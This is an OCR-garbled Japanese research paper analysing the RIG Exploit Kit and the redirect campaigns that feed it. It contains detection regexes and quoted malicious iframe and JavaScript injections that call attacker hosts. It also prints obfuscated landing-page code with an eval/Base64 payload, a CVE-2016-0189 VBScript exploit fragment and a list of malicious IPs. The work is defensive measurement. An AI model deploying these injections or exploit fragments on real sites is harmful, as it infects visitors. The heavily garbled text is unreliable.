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AF T, Drive-by Download WEED i & Exploit Kit
DEEEIZ DWW TR AR, BdES 2RI DOV THENRS.

2.1 Drive-by Download (%

Drive-by Download WE I KE < 23T, AHYA b,
kY b, RS A N, ST TEAEY A hD 4 D
OIERIND.

(1) AOY A MIBEEEDHE LU 72 ARIER Web Y1 b &
— D Web Y1 b & RIEX Web IKEDEENH D, K
BHEVPHARUZALER Web Y1 S D4, SNS X —)b
HETYV YRR, A-PIZI Vv 7 X85 L THlkY
A MAFET B, — D Web ¥ MEHAVIHE, HE
FlE—MD Web ¥ b DOJiggMEELZE, RERI—R
EZRHATSH. FOA—FIZL>T, Web ¥4 hAT 7
U7z —¥adiflgt 1 b ~FET 5.

RIEZ Web JRE %2 W 2454, WEE XY 1 A
FEFTHEORIA-FZ2ELARER Web [REZBMEL,
ZOIREEME Lz — P2 dhikd o1 hAGFET 5.

(2) iy D TIFERDOY X1 V7 M &> TR %
WEEIZ U720, Web 77 75D User-Agent ¥ 77 71 v
HEOMNIMEINGE L CTHENREZK DAL, HEARTH D

BIEREY A4 PAGFEEL, 25 TRAVEEIZZFEL
2\,

(3) WEBEY 1 FTIE—Y D Web 77 7 HEDNTsME
B KD —FNEEDRAAR, VU TEAYA Mo
LYY T EZY =R, ETIE5.

(4) T = TEAH A P CHI—FIH LT =
7 b T 5.

IN5D4DON, WEY A b~y o TEAAY A B
% Exploit Kit 2375 Z & A%\,

2.2 RIG Exploit Kit

RIG Exploit Kit OZEIIK 1 O &k 512, 5 DDERIC
DTBZENTED.

(1)

| Rig Exploit Kit |

Compromised Site

1 Drive-by Download HZE DR

(1) T—PRHEHIZ L > THITA SN —HD Web
YA F® RIER Web [R5 2BET 5L, (2) T ARC
fiAEI N3 — Nz & - T RIG Exploit Kit ~NE»'%
URL 2VE 5. (3) 2D URL ~NiFET 5 L5 ha—
RE2I-VFIZHAAEEEZ 2T, 2—H¥% RIG Exploit
Kit NS 5. (4) 25 L CiHEIN B &, RIG Exploit
Kit iFa—HFDEHL TS Web 77 7 HFEDMg %
L k5% a—- N2 E0#F{ I N7z JavaScript 2 — K
EHERU, 2—YPAKEDRAD., =YD Web 770X
TNoHDI—-RNE2FEFTL, B) IV UzTEKXy A—R -
EI77 5.

RIG Exploit Kit D354, HEEY 4 & <Y = T
Y1 b % RIG Exploit Kit 232t 3 5. WEE L RIG
Exploit Kit ~¥2%% URL #4m L, kY1 b2 52D
URL ~NVY XA L7 kX4 %721} T Drive-by Download &
AT ZENHAETHS. 2D L5 lAa%E “Exploit
Kit as a Service” &IFU, % < @ Exploit Kit 73% U2 §%
9% [7].

Exploit Kit as a Service D& I, 4> 7L I AT Ex-
ploit Kit 2% & L TWA5EE L D B EHNAES T, SHHE
T Exploit Kit @ ¥ — \PRE I — NVEH I N, e
Bt & INEEIZ LT 5.

2.3 BEEMR

A 5 1%, Exploit Kit 12 & > THE X 7B M Web W
1 b~ OF % W T Drive-by Download B % #4135 5
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BEDOHFHE LR LT 49 b 5. EHSIE,
FaVFARVEDPRETS Web 727 A0 T h 51—
YEBIIZ B 1% RIG Exploit Kit ® 1 2721 % 47\, RIG
Exploit Kit THWSN T W3S KA 1 > OFEE) IR A E R
MThrLHELTWVWE 4. NTT €Fa)F1 D7 )L—
7T, RIG Exploit Kit THWS N TV 3BT
WTHAIZRRDD, URL® KA VR IP 7 KL AL
WT o247\, RIG Exploit Kit OR#IZ L\f%ﬁ%b
TWw3 9.
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(2) RIG Exploit Kit Of#friiZHOfE. €07 7 & Al
HRED XS IZTONTWASEDD, Seamless &\ 5K
B v =V Ok — N & R BT 5.

(3) HXIMIZ EHE T RIG Exploit Kit N7 272X 52
T, FFED X v b7 —2 % RIG Exploit Kit OKE
RRMMIERET DI N TESH, RIG Exploit Kit
W2 U T2 7 2 v AT B EEBRELT .

3.2 (1) Drive-by Download X2 D£R;8I5254

2017 4£ 2 H 24 H ~ 4 A 10 HO[H, Alexa Top 1 Million
WZEIFSNTWS Web 31 MZT7 22 AL, Web Y1
FDY—R2—KEXya—KL7/k ZFLTEXYvA—
RU7Y—A3—=RIZHLT, HBF YV R=rvDa—FK
& Exploit Kit DR S EK L 72 72 F ¥ 2 FHWT S
R—=VyFrTRITD, ¥V F UL Web ¥4 F 9o
BEIZL>THAIN/ZTHA S I— R & Exploit Kit (2
B o FmEINEL 7.

ER L7272 F v %K 1 IRT.
3.2.1 R

FKEUZRIATA MZOWT, HBX v U R_R—V 2R
ML BRE LR 2 1287, BRAOKERKRE LT, WiE
WAREI—= NIZHEU U ZEHRO I — RPFHELRZ & 935
Tond., EREX v U R_R— v ORMEREITRRS.
3.2.2 pseudo-Darkleech

pseudo-Darkleech & 2017 4F 4 HEHE THHIT N T W7z
WEX v R—VTHD. pseudo-Darkleech (FIRE AV A
MIFLUTH 2 DL 5B AREI—RE2FAL, Exploit Kit
NFET B,

R e UTIBATI 2 I o 5.

x1 ERLEZYITXF v
WXy o R— VA F v

Afraidgate /position:absolute; top:-([0-9]3,4)px/
ElTest /var ([a-zA-Z]4,8) = “iframe” /
GoodMan /div style=width:1px; height:1px; pos

ition:absolute; left:-500px; top:-500px;/

pseudo-Darkleech  /span style=‘“position:absolute;
top:-([0-9]3,4)px; width:([0-9]3)px;
height:([0-9]3)px;” /

/iframe width=%0” scrolling=“no”
height="“0" frameborder=“0”"

src=%“.4" seamless= “seamless” /

Seamless

K 2 WTAYA - OREIE

BEEX v o R—Y MAIE  BRRRAIE
Afraidgate 0 0%
ElTest 164 4.9%
GoodMan 19 0%
pseudo-Darkleech 562 3.9%
Seamless 0 0%

<span style="position:absolute; top:-1133px; width:32@px;
height:320px;">

bkya

<iframe src="http://red.JOHNVAUX.COM/?
g=znroMvXcIwDODODGMVIrESLEEMUjQAGKK20H 76gyEoH9IHIvrLUSkrttgWC&
og=elTR aYtfrYDaQO@iEIDLEE3YpfB15Bov2gikDVzhbOp-K xasUToBvdeW"
width="265" height="264"></iframe>

bledogr

</span>

huhoz

<noscript>

2 pseudo-Darkleech THWSNARIET— R

o WEAITL>THIAZINDG I — FiZ html X 2 body
X7 DERNIZAS

o WEAILL->THAINS I— N top EAKRE~
A FZMETH 5 span X 7 DT, Exploit Kit N
9 5 iframe X 7 DBFIET S
o A—DIP 7 NLATHEGHZHIATA bAT I x
A§ 5 & HTTP Status Code 500 % L AR A & L
TRT
e A—®DIP 7 RVATELDRIAYA AT 7 LA
T5L, ERHRVARVAEERT
3.2.3 ElITest
ElTest I3 TAY A MIFLTH 3 D&H5Ra—F %
AL, Exploit Kit ~&EEd 5. 2017 4 4 HEHE TIX
Exploit Kit ~NiFE L T\W/=AY, BHIERET 7 =H K-
MEIZRALTWS.

<body> </body>
<script type="text/javascript"> var nirzinr = "iframe"; var
oesnzki = document.createElement(nirzinr); var wrnfs = "";
oesnzki.style.width = "14px"; oesnzki.style.height = "6px";
oesnzki.style.border = "@px"; oesnzki.frameBorder = "@";
oesnzki.setAttribute("frameBorder"”, "0");
document.body.appendChild(oesnzki); wrnfs =
"http://add.localtechstops.com/?
a=znzQMvXcIwDQDoDGMvrESLtEMUFQAGKK20H 76iyEOH9IHT1vrPUSkrttghC&
og=el2H aEkk7BTNAK13kaIfwFiyotfUg9B9KGo2kicnBbI1J0G-RKSUToBvdel";
oesnzki.src = wrnfs; </script>

</body>

</html>

3 ElTest THWHNAAREI—NR

R e UTIRBATRAEIT o 5.

o WAL >THAZIND I—RIE, Exploit Kit ~
FHES 5 iframe X 7 &4 B JavaScript I— N

o WXAIIZE->THAINGI— i body X7 DL
R T DERIZAS

o H—DIP 7 NLVATHEBNZIWI AT A bAT I &
A&7 EWEASNTVWEVWIEFZ Web R—T %
VARVAEULTRY

o 7URALTE/LA—YDIP 7 KL AD Geo Loca-
tion %z H L 1IN R ZIET S
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3.2.4 RIG Exploit Kit

RIG Exploit Kit (37 7 A L7 —HIzx U C#tgiib
I N7z JavaScript I—RZ2 VARV AL UTRY. #FH
fLX N7z JavaScript 2 — FIZK 4 ORRIZZZ->TED, X
THIOBEBENMORZTHEET 5.

<html><head>

<meta http-equiv="X-UA-Compatible" content="IE=18">

<meta charset="UTF-8">

</head><body><hl>

Now how can it be
</hl><script>fgugnuyWz0="}, si5@ctMe@oes: {PQtiQutss FHLTimQ1;

FMYCxvbjzF="var@erl@oc/*s@6d{e849442* /oco:@onsom@cS@ptss ags
bwPefYNPQb="son.sx<emx>eor=ena\ "ack\ "seL) 85 (st pie\toc\n"; for(ncpGtNfZbs="

4 HFp b X 7z JavaScript I — KO —#R

FART VLD IZEE LB DD 5 T, KED eval()
W E o THIZESWTONT WS Z D 0h 5. eval() IZ
EINTVWBEIHULK 6 1239 X 512 Base64 73— N %
f712a—FTHh5.

string_ A = ["rnsir”, "}r", “aseee”, "fgd", "r+", "xe", "ee||", "se&26", "ssaq”,

string B = ["fun", "io", "kesse{", "aworles", "{v:", "58", "ed4", "20hf", "@s8fs",

string_C = "sou.stx<emn>eor=eno\"ack\ "seL) s (s1 oe\tocr\n";

for (code = '', i =577, j = 0@; i > -1, j <= 578; i--, j++) {
code += string_B[j];
if (typeof string_A[i] != 'undefined') {

code += string_A[i];
I
¥

for (k = 8; k <= string_C.length - 1; k++) {
code = code.replace(new RegExp(string_C.substr(k, 1), "g"), string_C.substr
k++;

¥
eval(code);

5 #J U7z JavaScript I— R DO—#

function k(){var a=1(),c={v:/*s58090d46920hfj1608fs*/document}.v, b=c
["createElement"]("script");b["type"]="text/javascript",b["text"]=a,a=c
["getElementsByTagName"]("script")[@],a.parentNode["insertBefore"](b,a)}try{k()}catch
(m){}function 1(){var s =
"LypzNjkzNGQSMTIBM2hzc2ZqMzISNDZmeyovZnVuY3Rpb24gZ2hqdDVxdyhud@sIHdpZHRoKXsvKnM2MzQe
MmQyNjU2MmhmajkzMDkxZnMgL3ZhciBnaGpnZmg2NTQgPSAIMDEyMzQ1Nj c40WFiY2R1ZiI7dmFyIGhnZmdna
GYgPSALIjsvKnM5MDQzOWQ2NTM50GhmajQ30DMxZnMqL 3ZhciBnaGp@NXF3ID8gz2hqz2ZoNjUBLnN1YnNeci

6 eval() DFIEHD—

Base64 ¥ 23— K%475 Z & T, 7TD&S57% Web 7
IOV OMENEEL a - FBRELN5.

Sub fire()
On Error Resume Next
key="gexywoaxor"
url="http://side.chobaniandyr.com/?
9=w3rQMvXcIxfQFYbGMv7DSKNbNk WHViPxo0eGSMildZ-gZGX k7rDfF-goVvcCgWRxfALK&
gtuif=16458&
0g=0FTbwLhhULRKQdkn4daAF@V vupikTRzxKViIWE9IBSFMgM-akcHbUy@VT8xrEdQIZnxA&
ct=sround”
uas=Navigator.userAgent

Set oss=GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
Dim osloc
for each os in oss
osloc=o0s.0SLanguage
next
SetLocale(osloc)

E 7 CVE-2016-0189 %< I — FD—

EHX 25N Web 79 7% D User-Agent 12 & -
TZT 5. Kiggth & User-Agent DBEFRZ K 3 IT/RT.
CVE-2015-2419 ¥ CVE-2016-0189 7 &, Microsoft Inter-
net Explorer % JScript T ¥ v ¥ Dfigg A b T
W5,

3.3 (2) RIG Exploit Kit DEIFEE

RIG Exploit Kit 2 IZ#H LA DT IEE LTT 2
T ARIEBEEDTFAET 5. A—D IP 7 N L A CHElfEmIiz
RIG Exploit Kit (27 27 ¥ A %17 o 7234, 2 EHIARIX
HTTP @ Location ~w X2 X - THEEL Web ¥ b~
VXAV FEND., TN &> TEBNERT 72 Xk
Tz <70, RIG Exploit Kit IZ27 272 AL 7ZIZH B
H 57, Exploit Kit & UTEK LU Z8fEDfTTbiin<
v, RIG Exploit Kit DIREEIZ D W TN 5 BRIz fEE
ERoTWA, 9 Z#]8 T RIG Exploit Kit 127 27 & A
U7zD HTTP VARV AT, K101k 2 EHDOT 7 A
DRDEDZERL TS, 2 EHDT 27 & A TId Location
AN RIZE > THDY A PAV XA L7 IR TWBZ L
Noard.

HTTP/1.1 280 OK

Server: nginx/1.6.2

Date: Tue, 22 Aug 2017 68:04:15 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 34419

Connection: keep-alive

Vary: Accept-Encoding
Content-Encoding: gzip

M8 1EHDYZXAD HTTP VARV A

HTTP/1.1 382 Found

Server: nginx/1.6.2

Date: Tue, 22 Aug 2017 ©08:40:19 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 61385

Connection: keep-alive

Location: http://www.zapmeta.ws

M9 2EHOD7ZEAD HTTP L AKV A

F—® IP 7 KL AT 2 [\ E#EFHIZ RIG Exploit
Kit N7 72 AUEGEIZRET V) XA LT M2 X B
W E RGNS DDA, 5 TREVWESIZENL
SWOHIEERN DD, FHET B7-DITIROEREITH7-.

2017 4£ 7 H 20 H» 5 8 A 19 HOM, RIG Exploit Kit
IR LT 10 HBETT 2822470, VXA L2 EH
TV TDXY va— R ETirbhzBorZ %
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*= 3 EHINBMEFMEL User-Agent OXFht

Ty Windows CVE-2014-6332 CVE-2015-2419 CVE-2016-0189 SWF Vulnerability
Internet Explorer 6 XP 32 Bit O O O
Internet Explorer 6 XP 64 Bit O
Internet Explorer 7 XP 32 Bit O O O
Internet Explorer 7 XP 64 Bit @)
Internet Explorer 7 Vista 32 Bit O @)
Internet Explorer 7 Vista 64 Bit O O
Internet Explorer 8 XP 32 Bit O O O
Internet Explorer 8 XP 64 Bit O
Internet Explorer 8 Vista 32 Bit O @)
Internet Explorer 8 Vista 64 Bit O @)
Internet Explorer 8 7 32 Bit O O
Internet Explorer 8 7 64 Bit O O
Internet Explorer 9 7 32 Bit O O
Internet Explorer 9 7 64 Bit O O
Internet Explorer 10 8 32 Bit @) O O
Internet Explorer 10 8 64 Bit O O O
Internet Explorer 11 8.1 32 Bit O O O
Internet Explorer 11 8.1 64 Bit O O O
Internet Explorer 11 10 32 Bit @)
Internet Explorer 11 10 64 Bit @)
R 4 Seamless ¥ ¥ V=V Oy~ b )

URL 2

http://194.58.38.31/signupl.php 1 s . . . i

http://194.58.38.50/signupl.php %E . . ¢ . .. . -

http://194.58.38.51 /signupl.php

http://194.58.39.179 /signupl.php w

http://194.58.46.209 /signupl.php . ee 0 . . .

http://194.58.47.235 /signupl.php
http://194.58.58.70/signupl.php

#% L 7-. RIG Exploit Kit ® URL I% Seamless & IFFiEL
ZHEX vy o R=VOHEY A MR SER L. FIHLE
Seamless D H kY1 b D URL 2% 4 IZR7.

3.3.1 #R

VAL VLI bENBhroRHAOLHEEZK 1112, B A
NI LER12IZRT. VXA LT b -
W7 7R AHEB) 2y hENDEDTIEIBRVWNREEZSE D
EMTES. Vey bINBHREZIEKE L 2 DO
UTC 6 Rfhir & 18 T s - T\ 5.

RIG Exploit Kit ®¥ =D 9 A0 TEIZH B Z &
FHREINTWB 9. Yy M fTbihd UTC 6 K
IS AT Y7 5 E¥ERTIZ O 12K THEZ LI
BREHBEEZXD.

3.4 (3) BEMWART IV ERICL BHEEER

P %1% RIG Exploit Kit 23 2720 ICRED 1P 7
R U AZE[ SIS T 27 2 A% T > TWh, H DI
#1725 RIG Exploit Kit (&K~ BEHALTWAZ TP 7 R L

012 35 456 78 E131113131i151E1?131933313333[&%1

11 7 7 AHIROREL D 5346

ABEDSDT 72 AL TEEER Web ¥4 bAY XA
VI hNT5E512%ko7. —EZOIZhsby, Fifio
o)ty bbb, RIG Exploit Kit OEE#
BH A ZBHBEEEP SN L DTV EREZLT
7. £ZT, ZOBREZENWIIFEETIES Z LT RIG
Exploit Kit D#EBMDTE R WDIEREZIT - 7=,

— 368 —



2017 £ 7 H 29 HA 6 8 A 3 HE T, 1 4[HfE T RIG Ex-
ploit Kit N7 7 ¥ A%47-572. IP 7 KL Al xx.xx.34.231
& xx.xx.35.135 @ 2 D& L, RIG Exploit Kit ® URL
1% Seamless F ¥ > X— VDY 1 MR SHAE L 7=,
3.4.1 R

FERDFER, xx.xx.34.231 TIXALIZR SN - 72743,
xx.xx.35.135 Tl RIG Exploit Kit @ L AR > AIZZ{bHS
Rontz.

HERBHIBR 218 5 7z RIG Exploit Kit O L AR > A
&, EER%IZ13 5 17z RIG Exploit Kit DLV AR Y A% [¥
13 & 14 1TRT.

<html><head>
<meta http-equiv="X-UA-Compatible" content="IE=10">
<meta charset="UTF-8">
</head><body><script>ykMiPiVZHH="cc ;00 @ecL; }, @ect@si{P
/*g131g75fn*/
HxVpMUrhed="vaacorg@ee; @/ *s@9d39Q4hTOB69§* /occ@pon@x
tpxglEaUqG="son.stx<emx>cor=ena\ "ack\ "seL) Bs (51 oe\toct\n"; /*x60041a

12 FEERFAKIFD RIG Exploit Kit ® L AR Y 2D —#f

<html><head>
<meta http-equiv="X-UA-Compatible" content="IE=18">
<meta charset="UTF-8">
</head><body><script>
<script>
</script></body></html>

13 FEE%D RIG Exploit Kit ® L AR Y 20—

FE#% D RIG Exploit Kit ® L AR 212 i3#Hb S h
7z JavaScript I — RHEERT, 75 U FOMINEE %
&4 a—FiEEFINL WD, Drive-by Download
W IITh .,

FERBIC xxxx.35.135 LRLUY 732y MIZET 3
xx.xx.35.137 ~ xx.xx.35.147 T RIG Exploit Kit N7 7
Y A %To72E T A, xxxx.35.135 LFEFEIZLV AR AD
—EIZ B S Nz,

INsDZehs, EEMIZEHE T RIG Exploit Kit
NT IR AZITD LT, FED IP 7 F L AZEHA RIG
Exploit Kit OBUEHFAIMIBHEINT VWD Z L DR X
nrz.

4. ER

RIG Exploit Kit I&fi#tr 2 iE$T 5720127 7 & Al
MEFo>TWED, ZTNTIEARKRDOHEHBK TS 5 Drive-by
Download WEED7=H DY — )L & UTHEMTIZRWES
Nhb. HlziE, tEPRKEETIEIXIY NI —IHDOIY
Pa—&hbA v X —3y MIERT I, 7axy
Y—Nz2RMT2IeWL4H5. ZTDHH, MY —N
WKRERI N B 20— NV IP 7 R L REAEIZR Y, RIG
Exploit Kit (&% 5 U7z fifkx2 WX -7y &3 2554,

ZDT 7 AHIHKREIZIEF IR LNE N, L, T
Mz ey &5 28T, MIFENOYHEERTVDDH,
Z 5 U= OB BN EDOWE 21T > TV ED TIER N
heEFEZLHND.

5. BhHWIC

ARTIE, KREREEZIES > TWwWa RIG Exploit Kit
WOWTHEEZITV, WEBXY U=V 2#HT 5V 02
F ¥ R U7z, RIG Exploit Kit TIX, itz 4hEd 5720
2, 1ET 7R AU IP 7 RV A% 12 R, JlY -~
FANVEALVL I T 2SI LZ. RIG Exploit
Kit AW T WS ETFEEZP S 2L, RHED IP
7 KL 222 % RIG Exploit Kit O WEHFHIM K ET S
RERD RIS 5 Z & 2 TEZR L 7=,

SEDFEL LT, RIG Exploit Kit 23%€D IP 7 KL
A 75 % WRHIPHIMIRET 5 7-DICHOONT VWS HEHK
IZDWTHISET 5. F7z, RIG Exploit Kit LA#AD Exploit
Kit iZ2WTHFMARRAETE LTV, FRRBHHFIECIOWV
THF%ES 5.

SE X

[1] # X 2t LAC: Apache Struts 2 (2 & F 5 Mifi 55 M
(S2-045. CVE-2017-5638) D EILKIZDWT, AFH

(https://www.lac.co.jp/lacwatch/alert/20170310.001246.html)
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